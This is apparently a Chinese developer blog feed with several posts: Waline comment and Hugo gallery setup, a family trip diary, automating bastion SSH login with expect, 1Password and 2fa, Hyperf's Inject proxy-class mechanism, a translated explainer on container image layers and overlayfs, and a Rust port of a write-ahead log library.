提示:记得将上面的配置中的站点信息、邮箱账号和密码替换成你自己的。
JWT_TOKEN使用任意随机字符串即可。
然后执行 docker-compose up -d 启动服务,Waline 会自动创建 SQLite 数据库并监听 8360 端口。
关于头像服务的选择
在 GRAVATAR_STR 环境变量中,我使用 Cravatar 代替了 Waline 默认的 Libravatar。Libravatar 加载头像时会返回 302 重定向,这个 302 状态码会导致后退/前进缓存失效。Cravatar 是国内镜像服务,访问速度快且直接返回头像,没有重定向问题。
服务端配置完成后,接下来需要在博客中集成 Waline 的前端组件。
创建 layouts/partials/comments.html 文件:
<noscript>
<div style="text-align: center; padding: 20px; color: var(--secondary);">
<p>💬 评论功能需要启用 JavaScript 才能使用</p>
</div>
</noscript>
<div id="waline" style="margin-top: 30px;"></div>
<script>
// 使用 IntersectionObserver 在评论区域接近可视区域时才加载
(function() {
const walineElement = document.getElementById('waline');
let loaded = false;
function loadWaline() {
if (loaded) return;
loaded = true;
// 动态加载 CSS
const link = document.createElement('link');
link.rel = 'stylesheet';
link.href = 'https://unpkg.com/@waline/client@v3/dist/waline.css';
document.head.appendChild(link);
// 动态加载 JS
import('https://unpkg.com/@waline/client@v3/dist/waline.js').then(({ init }) => {
init({
el: '#waline',
serverURL: 'https://你的 Waline 服务端地址',
reaction: false,
imageUploader: false,
search: false,
lang: 'zh-CN',
dark: 'body[class="dark"]',
emoji: [
'https://unpkg.com/@waline/[email protected]/alus',
'/images/waline/emoji/huaji',
]
});
});
}
// 如果支持 IntersectionObserver,在元素接近可视区域时加载
if ('IntersectionObserver' in window) {
const observer = new IntersectionObserver((entries) => {
entries.forEach((entry) => {
if (entry.isIntersecting) {
loadWaline();
observer.disconnect();
}
});
}, {
rootMargin: '200px' // 提前 200px 开始加载
});
observer.observe(walineElement);
} else {
// 降级方案:延迟加载
setTimeout(loadWaline, 1000);
}
})();
</script>
在上面的代码中,针对 PageSpeed Insights 的性能检测做了优化,使用 IntersectionObserver 实现懒加载,只有当滚动到评论区附近时才动态加载 CSS 和 JS 资源,不影响首屏渲染。
更多配置项请参考 Waline 客户端配置文档。如果你也想使用滑稽表情包,可以参考 qwqcode/huaji 和我的 info.json。
PaperMod 主题对图片的支持比较基础,文章中的图片既不能点击放大查看,也不能排列布局。为了优化一下体验,我找到了 mfg92/hugo-shortcode-gallery 这个项目,它可以在文章中以画廊形式展示图片,支持响应式布局和点击预览。
具体效果可以看去长鹿旅游休博园这篇文章。
git submodule add https://github.com/mfg92/hugo-shortcode-gallery.git themes/hugo-shortcode-gallery
config.yaml 中将该组件添加到 theme 字段:theme: [PaperMod, hugo-shortcode-gallery]
gallery 加载图片:{{< gallery match="images/*" sortOrder="asc" rowHeight="150" margins="5" thumbnailResizeOptions="600x600 q90 Lanczos" previewType="blur" embedPreview=true loadJQuery=true >}}
参数说明:
match: 图片路径匹配规则rowHeight: 缩略图行高margins: 图片间距thumbnailResizeOptions: 缩略图生成选项previewType: 预览效果(blur 为模糊过渡)需要注意的是,这个组件支持展示图片的 Exif 信息(默认关闭)。如果启用该功能,构建时会扫描所有图片并提取元数据,构建时间会随图片数量和大小显著增加。如果你的图片比较多,建议关闭以提升构建速度。
早上九点多到的时候,停车场空荡荡的,还以为人不多。进园时工作人员在喊免费拍照,排队的人不多,就拍了几张。
往动物区走的路上,有两座狮子和大猩猩的雕像,眼睛闪着红光。安仔看到后不肯靠近,回家后还念叨着「大猩猩的眼睛是红色的」。
上午都在动物王国,各种动物都看了一遍。买了胡萝卜和树叶投喂大象、浣熊、长颈鹿和黑熊。
中午在面馆吃了碗牛筋丸面,方便面煮的,没什么味道。
下午去坐船,排了半个小时队。湖面上可以看到海盗船和蹦极,我们划到湖中间停下来看别人蹦极。问安仔要不要去玩,他很认真地说,很危险的!
安仔玩了两次挖土机,说长大了要开挖机。完成挖土挑战后,老板送了个卡皮巴拉玩偶。
下午去看表演,人很多。原以为是马戏团,结果是杂技和魔术。
晚上找了家本地人多的店吃饭。老婆第一次吃鱼生,味道一般,一蘸酱油全是调料味。回家后,奶奶还给安仔准备了六一儿童节蛋糕。
]]>最近,我在许久没打开过的涛叔博客上,看到了他最新发布的文章:《自动化登录堡垒机》。在文章中,他使用 expect 来模拟输入密码,实现自动化登录堡垒机。
说实话,我之前并不知道 expect 这个工具。看了文章后,我发现是时候将我的半自动化登录流程升级为全自动化了。
首先,需要安装 1Password CLI:
# macOS
brew install 1password-cli
# 其它系统
# https://developer.1password.com/docs/cli/get-started/#step-1-install-1password-cli
接着打开 1Password 的设置,启用「与 1Password CLI 集成」:

完成配置后,就可以在终端访问 1Password 了,下面是一些常用的命令:
# 获取保险库列表
op vault list
# 获取项目列表
op item list
# 获取项目信息
op item get {id/name}
# 获取项目信息(包含密码)
op item get {id/name} --reveal
# 获取 JSON 格式的项目信息(包含密码)
op item get {id/name} --reveal --format json
# 获取项目的一次性密码
op item get {id/name} --otp
除了 expect 和 op 之外,还需要安装 jq 工具,用于解析 JSON,用来从 1Password 的项目信息中提取出密码和一次性密码。
# macOS
brew install jq
# Debian/Ubuntu
sudo apt-get install jq
# RedHat/CentOS
yum install jq
对原始脚本的改动很简单,只需要将脚本中的「自动读取动态口令」和「硬编码的密码」改为使用上述命令获取即可。
#!/usr/bin/expect
# 自动调整窗口大小
trap {
set XZ [stty rows ]
set YZ [stty columns]
stty rows $XZ columns $YZ < $spawn_out(slave,name)
} WINCH
set OP_ITEM_ID "Bastion-Host-Login" # 使用项目名称
# 使用 1Password CLI 获取堡垒机的项目信息
if {[catch {exec op item get ${OP_ITEM_ID} --reveal --format json} data]} {
puts "错误: 无法获取1Password数据,请确保已登录op CLI"
exit 1
}
# 从 JSON 中提取密码
if {[catch {exec echo $data | jq -r {.fields[] | select(.id == "password") | .value}} password]} {
puts "错误: 无法解析密码"
exit 1
}
# 从 JSON 中提取一次性密码
if {[catch {exec echo $data | jq -r {.fields[] | select(.type == "OTP") | .totp}} totp]} {
puts "错误: 无法解析TOTP"
exit 1
}
# 发起 ssh 会话
spawn ssh [email protected]
# 自动输入登录密码
expect "Password:"
send "$password\r"
# 自动输入动态口令
expect "Verification code:"
send "$totp\r"
# 将终端控制权交还给 ssh 会话,完成登录
interact
在上面的脚本中,使用了 catch 命令用来捕获异常,类似于编程语言中的 try-catch。如果命令执行失败,catch 会返回非零值(通常是 1),命令执行成功,catch 会返回 0,并将命令执行结果保存到 result 中。
在使用脚本前,你需要将 OP_ITEM_ID 的值替换成项目的实际 ID 或者名称。可以使用以下命令获取:
# 列出所有项目,找到堡垒机相关的项目
op item list
# 或者搜索特定名称
op item list | grep "堡垒机"
例如:
set OP_ITEM_ID "Bastion-Host-Login" # 使用项目名称
# 或者
set OP_ITEM_ID "abc123def456" # 使用项目ID
原本以为到这里就结束了,但是在实际使用过程中我发现了一个问题:这个脚本非常慢!慢到什么程度呢?在不需要认证的情况下,从执行命令到登录成功,需要 3 秒左右,最慢的时候差不多需要 10 秒。
自动化的目的是为了提升效率,现在操作虽然自动化了,但时间效率没有提升多少,跟手动登录差不多,这显然无法满足需求。
研究了一会儿,发现问题出在 op 命令获取密码太慢了,不仅获取密码慢,获取一次性密码也慢。我尝试过指定保险库、使用 --fields 选项减少获取的字段,没什么效果。
Google 搜索发现很早之前就有这个问题,但都没有得到解决。
官方回复说在 macOS 上会默认开启缓存来提升执行速度,在命令中加上 --debug 选项,确实可以看到使用了缓存,并且也命中了缓存。但是,为什么还这么慢?
op item get xxxx --reveal --debug
23:19PM | DEBUG | Session delegation enabled
23:19PM | DEBUG | NM request: NmRequestAccounts
23:19PM | DEBUG | NM response: Success
23:19PM | DEBUG | NM request: NmRequestAccounts
23:19PM | DEBUG | NM response: Success
23:19PM | DEBUG | InitDefaultCache: successfully initialized cache
23:19PM | DEBUG | EncryptedKeysets: Cache hit on keyset
23:19PM | DEBUG | AllVaults: cache hit on vault xxxxxxxxxxxxxxxxx
23:19PM | DEBUG | AllVaults: cache hit on vault xxxxxxxxxxxxxxxxx
23:19PM | DEBUG | AllVaults: cache hit on vault xxxxxxxxxxxxxxxxx
23:19PM | DEBUG | VaultItems: cache hit on vault items of vault xxxxxxxxxxxxxxxxx
23:19PM | DEBUG | VaultItems: cache hit on vault items of vault xxxxxxxxxxxxxxxxx
23:19PM | DEBUG | VaultItems: cache hit on vault items of vault xxxxxxxxxxxxxxxxx
23:19PM | DEBUG | VaultItems: cache hit on vault items of vault xxxxxxxxxxxxxxxxx
23:19PM | DEBUG | Item: VaultItems cache hit for vault xxxxxxxxxxxxxxxxx - validating staleness using item version
23:19PM | DEBUG | Item: cache hit on item xxxxxxxxxxxxxxxxx of vault xxxxxxxxxxxxxxxxx
折腾无果后,既然 1Password CLI 的性能问题无法解决,不如换个思路:用 SSH 密钥解决认证问题,用独立的 2FA 工具处理 OTP。
1Password 还提供了另一项功能:1Password SSH Agent。你可以将本地的 SSH 密钥保存到 1Password 上。每次需要使用 SSH 密钥时,都会弹出一个 1Password 的授权框,上面显示了哪个客户端正在请求使用哪个 SSH 密钥,你可以使用指纹或者密码同意这次授权。

这样带来的好处是:
为了使用这项功能,你需要在 1Password 的设置中启用「使用 SSH Agent」。
首先,在 1Password 上创建一个 SSH 密钥项目,你可以选择将堡垒机的密钥导入进来,也可以生成一个新的私钥。

创建完成后,将公钥保存到 ~/.ssh/bastion.pub,避免 SSH 密钥过多,产生 Too many authentication failures 问题。

然后在 ~/.ssh/config 文件中添加以下内容:
Host bastion
HostName example.zz.ac # 替换为堡垒机的地址
Port 22 # 替换为堡垒机的端口
IdentitiesOnly yes
IdentityFile ~/.ssh/bastion.pub
IdentityAgent "~/.1password/agent.sock"
这时候在终端中执行 ssh bastion 命令,你就可以免密登录到堡垒机了,但是还需要输入一次性密码,接下来我们解决这个问题。
执行以下命令安装 2fa 并添加一次性密码。
# 安装
go install rsc.io/2fa@latest
# 添加一次性密码
2fa -add bastion
2fa key for bastion:
# 获取一次性密码
2fa bastion
211762
我对脚本做了一些优化,增加了超时处理、登录后执行命令等:
#!/usr/bin/expect
# 自动调整窗口大小
trap {
set XZ [stty rows ]
set YZ [stty columns]
stty rows $XZ columns $YZ < $spawn_out(slave,name)
} WINCH
# 自动读取动态口令
spawn 2fa bastion
expect -re "(.*)\n"
set totp $expect_out(1,string)
# 发起 ssh 会话
spawn ssh example.zz.ac
# 等待 OTP 提示并自动输入
expect {
"Verification code:" {
send "$totp\r"
}
timeout {
puts "超时: 未收到 OTP 提示"
exit 1
}
}
# 等待登录成功(通常是 shell 提示符)
expect {
"*$" { }
"*#" { }
"*>" { }
timeout {
puts "登录超时"
exit 1
}
}
# 你可以在登录成功后执行一些命令
# send "ls -l\r"
# 将终端控制权交还给 ssh 会话,完成登录
interact
将上面脚本保存到文件中,就可以愉快的登录堡垒机了。实测下来,响应速度基本在 1 秒左右,相比之前的 3-10 秒有了非常大的提升。更重要的是,整个流程的可靠性也更好了。
虽然最终没能用上 1Password CLI 有点遗憾(主要是太慢了),但好在找到了替代方案,日常使用体验还是很不错的。期待 1Password 官方后续能优化一下 CLI 的性能吧。
]]>new 关键字实例化类时依然能够生效?按理说,Inject 注解不是应该只在通过容器实例化类时才会起作用吗?这个问题引发了群友们的讨论和猜测,甚至有人感叹,Inject 注解的实现简直就是魔法!
对于这个问题,Hyperf 的作者作出了解答:新版本的注入机制通过代理类来实现,注解之所以在 new 关键字下依然有效,是因为实例化的实际上是代理类,而代理类的构造函数中包含了注入操作。

然而,如果我们继续深究,还会发现一些问题:Hyperf 是否为所有类都生成了代理类?又是如何在类实例化时拦截 new 关键字的行为,从而实现实例化的是代理类而非原始类?在属性值注入过程中,具体都执行了哪些操作?
由于微信群本身不太适合深入讨论这些复杂的问题,而且考虑到「深入 Hyperf」系列已经有半年多没更新了,所以我决定撰写这篇文章,逐一解答这些问题,带大家深入探索 Inject 注解的工作原理。
Hyperf 生成的所有代理类都保存在 runtime/container/proxy 目录中,仔细观察一下就会发现,这个目录只包含了部分原始类的代理类。
由此可知,Hyperf 不会为所有类生成代理类。
那么,Hyperf 会为哪些类生成代理类呢?答案是,所有需要被切面(Aspect)介入的类。
在 Hyperf 中,可以通过切面介入到任意类的任意方法的执行流程中,从而改变或加强原方法的功能,这就是 AOP(Aspect Oriented Programming)面向切面编程。切面包含了要介入的目标,以及实现对原方法的修改加强处理。这里的介入目标包含了类/方法或者注解,意味着你可以通过类名/方法名称直接指定要介入的类/方法,或者通过注解间接地指定要介入的类/方法。
为了实现 Inject 自动注入的功能,Hyperf 添加了一个 Inject 切面,其介入的目标是使用了 Inject 注解的类。
class InjectAspect extends AbstractAspect
{
public array $annotations = [
Inject::class,
];
public function process(ProceedingJoinPoint $proceedingJoinPoint)
{
// Do nothing, just to mark the class should be generated to the proxy classes.
return $proceedingJoinPoint->process();
}
}
一旦我们在某个类中使用了 Inject 注解,Hyperf 就会为这个类生成代理类。并且从注释中可以看到,Inject 切面不会修改原始方法的任何行为,只是用来标记需要为其生成代理类。
除了 Inject 切面以外,Hyperf 中还包含了很多其它的切面,你可以使用 AspectCollector::list() 获取这些切面。你也可以查看 Hyperf 文档 学习如何自定义切面,提高程序的可重用性以及开发效率。
这一切的关键在于 Hyperf 巧妙地利用了 Composer 类自动加载机制,让我们来了解一下其中的细节。
通常情况下,使用了 Composer 的框架都会在入口文件引入一个 /vendor/autoload.php 文件,以启用自动加载功能。在这个文件中,Composer 会通过 spl_autoload_register 函数向 PHP 注册自己的类加载器(ClassLoader)。当我们在 PHP 中使用了当前内存中尚未定义的类的时候(例如使用 new 关键字实例化某个类),PHP 会调用已注册的类加载器,将这个类文件加载到内存中,也就实现了我们常说的自动加载。
在 Composer 的类加载器中,有一个 classMap 数组属性,其键是包含命名空间的类名,值是类的文件路径。示例如下:
array:5 [
"Hyperf\Cache\AnnotationManager" => "/code/project/vendor/composer/../hyperf/cache/src/AnnotationManager.php"
"Hyperf\Cache\Annotation\CacheAhead" => "/code/project/vendor/composer/../hyperf/cache/src/Annotation/CacheAhead.php"
"Hyperf\Cache\Annotation\CacheEvict" => "/code/project/vendor/composer/../hyperf/cache/src/Annotation/CacheEvict.php"
"Hyperf\Cache\Annotation\CachePut" => "/code/project/vendor/composer/../hyperf/cache/src/Annotation/CachePut.php"
"Hyperf\Cache\Annotation\Cacheable" => "/code/project/vendor/composer/../hyperf/cache/src/Annotation/Cacheable.php"
]
当 Composer 的类加载器运行时,它会先检查 classMap 数组中是否已经存在这个类。如果类不存在,加载器将按照 PSR-4 或 PSR-0 的规范依次查找类文件;如果存在或找到了类文件,就会使用 include 加载这个类文件。

从整个自动加载过程可以看出,只要在使用某个类之前,将其代理类的路径添加到 classMap 数组中,那么当我们在 PHP 中实例化这个类时,Composer 就会直接加载代理类,而不是原始类。

实际上,Hyperf 确实是这样实现的。在生成所有代理类后,Hyperf 会将原始类与代理类的映射关系添加到 Composer 的 classMap 数组中:
$proxyFileDirPath = BASE_PATH . '/runtime/container/proxy/';
$composerLoader = Composer::getLoader();
$scanner = new Scanner($config, $handler);
$composerLoader->addClassMap(
// 在 scan 方法中完成了扫描与生成代理类
$scanner->scan($composerLoader->getClassMap(), $proxyFileDirPath)
);
因此,当你在 Hyperf 中使用那些已经生成了代理类的类时,加载的就是 /runtime/container/proxy 目录下的代理类,而非原始类。
属性值的注入操作是在代理类的构造函数中完成的,因此我们需要通过对比原始类与代理类的内容来进一步分析。

从图片中可以看出,代理类相较于原始类增加了以下内容:
ProxyTrait 和 PropertyHandlerTrait__handlePropertyHandler 方法user 方法的内容封装为匿名函数,并作为 self::__proxyCall 方法的参数其中,ProxyTrait 和 self::__proxyCall 是 AOP 功能的核心部分。由于 Inject 切面并不会修改原始方法的行为,我们可以暂时忽略这部分内容,专注于属性值注入的过程。
当我们实例化某个类时,PHP 会自动调用这个类的构造函数。而构造函数中的 __handlePropertyHandler 方法也会随之被调用。由于类里面不仅仅包含当前类的属性,还可能包含 Trait 和继承自父类的属性,因此 __handlePropertyHandler 方法会通过 PropertyHandlerTrait 中的 __handle 方法,依次为当前类、Trait 以及父类的属性完成注入操作。
在 __handle 方法中,Hyperf 会遍历提供的属性列表,并根据属性上的 Inject 注解,从 PropertyHandlerManager 中找到相应的回调函数并调用。
Inject 注解的回调函数是在 Hyperf 启动时注册的,该函数会通过属性的类型名称(即类名)从容器中获取到相应的实例,然后通过反射将实例设置为该属性的值,从而完成注入。
$reflectionProperty = ReflectionManager::reflectProperty($currentClassName, $property);
$reflectionProperty->setAccessible(true);
$container = ApplicationContext::getContainer();
if ($container->has($annotation->value)) {
$reflectionProperty->setValue($object, $container->get($annotation->value));
} elseif ($annotation->required) {
throw new NotFoundException("No entry or class found for '{$annotation->value}'");
}
当类实例化完成后,类里面所有使用了 Inject 注解的属性,也就完成了属性值的自动注入。
以上就是关于 Inject 的全部内容了,希望这篇文章能够帮助你更好地理解和使用这些组件。
]]>原文:Understanding Container Image Layers
容器非常神奇。它让简单的进程可以像虚拟机一样运行。在这背后的优雅设计中,有一套模式和实践使得一切可以正常运作。而设计的核心就是层(Layer)。层是存储和分发容器化文件系统内容的基本方式。这个设计出奇地简单又非常强大。在今天的文章中,我将解释什么是层,以及它们在概念上是如何工作的。
当你创建镜像时,通常会使用一个 Dockerfile 来定义容器的内容。Dockerfile 包含了一系列命令,例如:
FROM scratch
RUN echo "hello" > /work/message.txt
COPY content.txt /work/content.txt
RUN rm -rf /work/message.txt
在底层,容器引擎会按顺序执行这些命令,并为每个命令创建一个「层」。但是实际上发生了什么呢?最简单的理解是,将每一层看作是一个包含所有已修改文件的目录。
让我们通过一个示例来详细说明可能的实现方法。
FROM scratch 表示此容器从空内容开始。这是第一层,可以表示为一个空目录 /img/layer1。
创建第二个目录 /img/layer2,并将 /img/layer1 中的所有内容复制到其中。然后从 Dockerfile 执行下一条命令(写入数据到 /work/message.txt 文件)。这是第二层。
创建第三个目录 /img/layer3,并将 /img/layer2 中的所有内容复制到其中。接下来的一条 Dockerfile 命令需要将宿主机上的 content.txt 文件复制到该目录中。该文件会被写入到 /img/layer3/work/content.txt 文件。这是第三层。
最后,创建第四个目录 /img/layer4,并将 /img/layer3 中的所有内容复制到其中。接下来的一条命令会删除 /img/layer4/work/message.txt 文件。这是第四层。
为了共享这些层,最简单的方法是为每个目录创建一个 .tar.gz 压缩文件。为了减小总文件大小,任何未修改的、从前一层复制过来的文件都会被移除。为了明确地表示某个文件已被删除,可以使用一个删除标记文件作为占位符。该文件会在原文件名之前加上 .wh. 前缀。举个例子,在第四层,会使用一个名为 .wh.message.txt 的占位符文件代替被删除的文件。当解压某一层时,任何以 .wh. 开头的文件都会被删除。
继续我们的例子,压缩文件将包含:
| 文件 | 内容 |
|---|---|
layer1.tar.gz |
空文件 |
layer2.tar.gz |
包含 /work/message.txt |
layer3.tar.gz |
包含 /work/content.txt (因为 message.txt 未修改) |
layer4.tar.gz |
包含 /work/.wh.message.txt (因为 message.txt 已删除) content.txt 文件未修改,因此它不包含在内。 |
使用这种方式构建镜像会产生很多叫「layer1」的目录。为了确保名称唯一,压缩文件会使用内容的摘要作为名称。这有点类似于 Git 的工作方式。这样做的好处是可以识别相同的内容,同时在下载过程中可以识别出文件是否损坏。如果内容的摘要与文件名不匹配,文件就会被认为已损坏。
为了使结果可以复现,还需要做一件事情:创建一个解释层顺序的文件(清单)。清单会说明需要下载哪些文件以及解压它们的顺序。这使得可以重新创建目录结构。它还提供了一个重要的好处:层可以在不同的镜像之间重复使用和共享。这最小化了本地存储需求。
实际上,还有很多优化方法。例如,FROM scratch 其实意味着没有父层,所以我们的例子实际上是从 layer2 的内容开始的。引擎还可以检查构建过程中使用的文件,以确定是否需要重新创建某一层。这是层缓存的基础,它最小化了构建或重新创建层的需求。作为额外的优化,当不依赖前一层时,可以使用 COPY --link 来表明该层不需要删除或修改前一层的任何文件。这允许压缩的层文件与其它步骤并行创建。
在容器运行之前,需要一个文件系统进行挂载。本质上,它需要一个包含所有可用文件的目录。压缩的层文件包含了文件系统的组件,但它们不能直接挂载和使用。相反,这些文件需要被解压并组织到一个文件系统中。这个解压后的目录被称为快照(好吧,这是为数不多叫这个名字的东西之一 😄)。
创建快照的过程与镜像构建相反。它先下载清单并生成要下载的层列表。对于每一层,都会创建一个包含该层父目录内容的目录。这个目录被称为活跃快照。接着,差异应用器负责解压压缩的层文件,并将更改应用到活跃快照。由此生成的目录称为已提交快照。最终,已提交快照将作为容器文件系统的挂载目录。
使用我们之前的例子:
初始层 FROM scratch 表示我们可以从下一层和一个空目录开始。它没有父级。
创建一个 layer2 的目录,这个空目录现在是一个活跃快照。文件 layer2.tar.gz 被下载,并通过将摘要与文件名进行比较来验证,然后被解压到该目录中。结果是一个包含 /work/message.txt 的目录。这是第一个已提交快照。
创建一个 layer3 的目录,并将 layer2 的内容复制到其中。这是一个新的活跃快照。文件 layer3.tar.gz 被下载、验证和解压。结果是一个包含 /work/message.txt 和 /work/content.txt 的目录。这个目录现在是第二个已提交快照。
创建一个 layer4 的目录,并将 layer3 的内容复制到其中。文件 layer4.tar.gz 被下载、验证和解压。差异应用器识别到删除标记文件 /work/.wh.message.txt 并删除 /work/message.txt,只剩下 /work/content.txt。这是第三个已提交快照。
由于 layer4 是最后一层,它是容器的基础。为了支持读写操作,会创建一个新的快照目录,并将 layer4 的内容复制到其中。该目录被挂载作为容器的文件系统。运行中的容器所做的任何更改都会发生在这个目录中。
如果这些目录中的任何一个已经存在,这表明另一个镜像具有同样的依赖。因此,引擎可以跳过下载和差异应用器,可以直接是使用现有的层。实际上,每个目录和文件都是根据内容的摘要命名的,以便于易于识别。举个例子,一组快照可能会像这样:
/var/path/to/snapshots/blobs
└─ sha256
├─ 635944d2044d0a54d01385271ebe96ec18b26791eb8b85790974da36a452cc5c
├─ 9de59f6b211510bd59d745a5e49d7aa0db263deedc822005ed388f8d55227fc1
├─ fb0624e7b7cb9c912f952dd30833fb2fe1109ffdbcc80d995781f47bd1b4017f
└─ fb124ec4f943662ecf7aac45a43b096d316f1a6833548ec802226c7b406154e9
或者:
| Image | Parent |
|---|---|
| sha256:635944d2044d0a54d01385271ebe96ec18b26791eb8b85790974da36a452cc5c | |
| sha256:9de59f6b211510bd59d745a5e49d7aa0db263deedc822005ed388f8d55227fc1 | sha256:635944d2044d0a54d01385271ebe96ec18b26791eb8b85790974da36a452cc5c |
| sha256:fb0624e7b7cb9c912f952dd30833fb2fe1109ffdbcc80d995781f47bd1b4017f | sha256:9de59f6b211510bd59d745a5e49d7aa0db263deedc822005ed388f8d55227fc1 |
| sha256:fb124ec4f943662ecf7aac45a43b096d316f1a6833548ec802226c7b406154e9 | sha256:fb0624e7b7cb9c912f952dd30833fb2fe1109ffdbcc80d995781f47bd1b4017f |
真实的快照系统支持插件来改进其中的一些行为。例如,它可以允许对快照进行预组合和解压,从而加快处理速度。这样就可以远程存储快照。它还可以进行特殊优化,例如按需即时下载所需的文件和层。
虽然挂载很简单,但是我们刚介绍的快照方法会产生大量文件变化和重复文件。这会减慢容器首次启动的过程并浪费空间。幸运的是,这是容器化过程中许多可以由文件系统处理的方面之一。Linux 原生支持将目录作为覆盖层进行挂载,为我们实现了大部分过程。
在 Linux 中(以 --privileged 或 --cap-add=SYS_ADMIN 运行的 Linux 容器中):
tmpfs 挂载(基于内存的文件系统,将用于探索覆盖过程)mkdir /tmp/overlay
mount -t tmpfs tmpfs /tmp/overlay
lower 作为低层(父层),upper 作为高层(子层),work 作为文件系统的工作目录,以及 merged 用来包含的合并文件系统。mkdir /tmp/overlay/{lower,upper,work,merged}
upper。cd /tmp/overlay
echo hello > lower/hello.txt
echo "I'm only here for a moment" > lower/delete-me.txt
echo message > upper/upper-message.txt
overlay 类型文件系统挂载这些目录。这将创建一个新的文件系统在 merged 目录,该目录包含了 lower 和 upper 目录结合后的内容。work 目录会用来追踪文件系统的变更。mount -t overlay overlay -o lowerdir=lower,upperdir=upper,workdir=work merged
merged 包含 lower 和 upper 目录结合后的内容。然后,做一些改动:rm -rf merged/delete-me.txt
echo "I'm new" > merged/new.txt
echo world >> merged/hello.txt
delete-me.txt 从 merged 中被移除和一个新文件,在相同目录中创建了 new.txt。如果你使用 tree 命令查看目录结构,会看到一些有趣的事情:|-- lower
| |-- delete-me.txt
| `-- hello.txt
|-- merged
| |-- hello.txt
| |-- new.txt
| `-- upper-message.txt
|-- upper
| |-- delete-me.txt
| |-- hello.txt
| |-- new.txt
| `-- upper-message.txt
运行 ls -l upper 显示:
total 12
c--------- 2 root root 0, 0 Jan 20 00:17 delete-me.txt
-rw-r--r-- 1 root root 12 Jan 20 00:20 hello.txt
-rw-r--r-- 1 root root 8 Jan 20 00:17 new.txt
-rw-r--r-- 1 root root 8 Jan 20 00:17 upper-message.txt
虽然 merged 显示了我们的更改效果,upper(作为父层)存储了类似于我们手工处理示例的更改。它包含了新文件 new.txt 和修改后的文件 hello.txt。还创建了一个删除标记文件。对于覆盖文件系统,这涉及用一个字符设备(以及设备号 0, 0)替换文件。简而言之,它拥有我们打包目录所需的一切!
你可以看到使用这种方法也可以实现一个快照系统。mount 命令本身可以接受一个用冒号(:)分隔的 lowerdir 路径列表,这些将被合并到一个单一的文件系统中。这是现代容器的本质之一 —— 容器是由本地操作系统特性组成的。
这就是创建一个基本系统的所有内容。实际上,Kubernetes(以及最近发布的 Docker Desktop 4.27.0 )使用的 containerd 运行时采用了一种类似的方法来构建和管理它们的镜像(更多细节可以参考 Content Flow)。希望这能帮助你揭开容器镜像工作方式的神秘面纱!

当然,这段时间我也没有闲着,大部分时间都在看极客时间的《陈天 · Rust 编程第一课》专栏。在掌握了基础知识之后,我迫不及待地想要用 Rust 写些小工具练练手,由于没有特别好的想法,我决定用 Rust 实现一些「短小精悍」的开源项目,比如 rosedblabs/wal。
「短小」指的是代码量方面,这个项目的代码量不多,核心逻辑大约只有几百行,这样一来实现起来不会太困难,比较容易落地。「精悍」则体现在功能方面,用几百行代码就实现了基于磁盘、支持并发读写的高性能预写日志库。所以选择它作为练手项目再合适不过了。

经过与 Rust 编译器的无数次斗争,我终于「磕磕绊绊」地完成了这个项目,并且通过了所有的单元测试。
为什么说是磕磕绊绊呢?因为在编码期间,多次由于代码无法通过编译,我一度想要暂时搁置这个项目。但每次总是在快要放弃的时候,又让我找到了解决方法,颇有一种「山重水复疑无路,柳暗花明又一村」的感觉。
我将项目代码放到了 GitHub:https://github.com/her-cat/wal-rs,如果你觉得不错,可以点个 star 哦~

接下来,我将通过 rosedblabs/wal 项目的 README.md 以及代码来介绍一下这个项目。
WAL 是 Write Ahead Log 的简称,通常叫做预写日志,是一种用于防止内存崩溃、保证数据不丢失的手段。需要注意的是,WAL 是一种方法,而不是具体的实现形式,这意味着它可能会以不同的形式出现在各种项目中。
例如,在 Redis 中,有一种数据持久化方式叫做 AOF(Append Only File)。Redis 会将所有对数据库进行写入操作的命令以追加的方式写入到 AOF 文件中。当 Redis 重启时,它会读取 AOF 文件,通过重放所有写入命令来还原重启前的数据库状态,从而保证数据不会丢失。
RoseDB 是一个基于 Bitcask 的键值存储引擎,Bitcask 的数据文件也是一个仅附加的日志文件(Append Only File),因此,我们同样可以使用 WAL 作为 RoseDB 的底层存储,而 RoseDB 确实是这么做的。
关于 Bitcask,可以参考我之前翻译的文章:了解 Bitcask:基于日志结构的 KV 存储引擎

从上图可以看出,在一个 WAL 实例中,会有多个用于存储数据的文件(Segment),每个文件包含若干个块(Block),每个块的大小固定为 32KB。每个块中又包含若干个大小可变的 Chunk,每个 Chunk 包含 7 个字节的头部和用户实际存储的数据。Chunk 分为 FULL、FIRST、MIDDLE、LAST 四种类型,这里借鉴了 LevelDB 和 RocksDB 的设计。
关于 Chunk 类型的分配,如果当前块有足够的剩余空间可以容纳写入的数据(即块的剩余空间大于或等于数据的大小),Segment 会直接写入一条包含该数据的 Chunk,Chunk 类型为 FULL,表示该 Chunk 包含的是一条完整的数据。如果当前块无法完全容纳写入的数据(即块的剩余空间小于数据的大小),Segment 会将该数据分成多个 Chunk 进行写入。
就像 Bitcask 那样,在一个 WAL 实例中,只会有一个活跃的 Segment 用于读写新数据,其它的 Segment 仅用于读取旧数据,接下来我们来看看 WAL 的写入和读取操作。
对于写入操作,WAL 提供了 WAL::write 和 WAL::write_all 两个方法,前者用于写入单条数据,后者用于批量写入多条数据。
以下是 WAL::write 方法的主要流程:
WAL::rotate_active_segment,将当前的活跃的 Segment 移动到旧的 Segment 中,并创建一个新的 Segment 作为活跃的 Segment。Segment::write 写入数据,并得到该数据的 ChunkPosition。Segment::sync。ChunkPosition。在 Segment::write 中,首先会从 BUFFER_POOL 中获取一个可用的 Buffer,然后调用 Segment::write_to_buf,将数据以 Chunk 格式进行编码写入到 Buffer 中,最后调用 Segment::write_chunk_buf,将 Buffer 中的数据写入到 Segment 文件中。其中最核心的是 Segment::write_to_buf,它包含了数据填充、数据编码、更新块号及生成 ChunkPosition 等逻辑。
WAL::write_all 与 WAL::write 的流程大致相同,只不过写入数据时调用的是 Segment::write_all。该方法与 Segment::write 唯一不同的是,该方法会循环调用 Segment::write_to_buf,将所有数据以 Chunk 格式进行编码写入到 Buffer 中。
当数据被写入后,我们可以通过 ChunkPosition 调用 WAL::read 读取数据,或者调用 WAL::new_reader 生成 Reader 来遍历所有数据。
以下是 WAL::read 方法的主要流程:
ChunkPosition.segment_id 是否等于当前活跃的 Segment 的 id。
Segment::read 读取数据。ChunkPosition.segment_id 从旧的 Segment 中找到相应的 Segment, 并调用 Segment::read 读取数据。由于我们的数据在写入时,可能被分成了多个 Chunk,所以在 Segment::read 中,需要循环读取所有数据块并汇总:
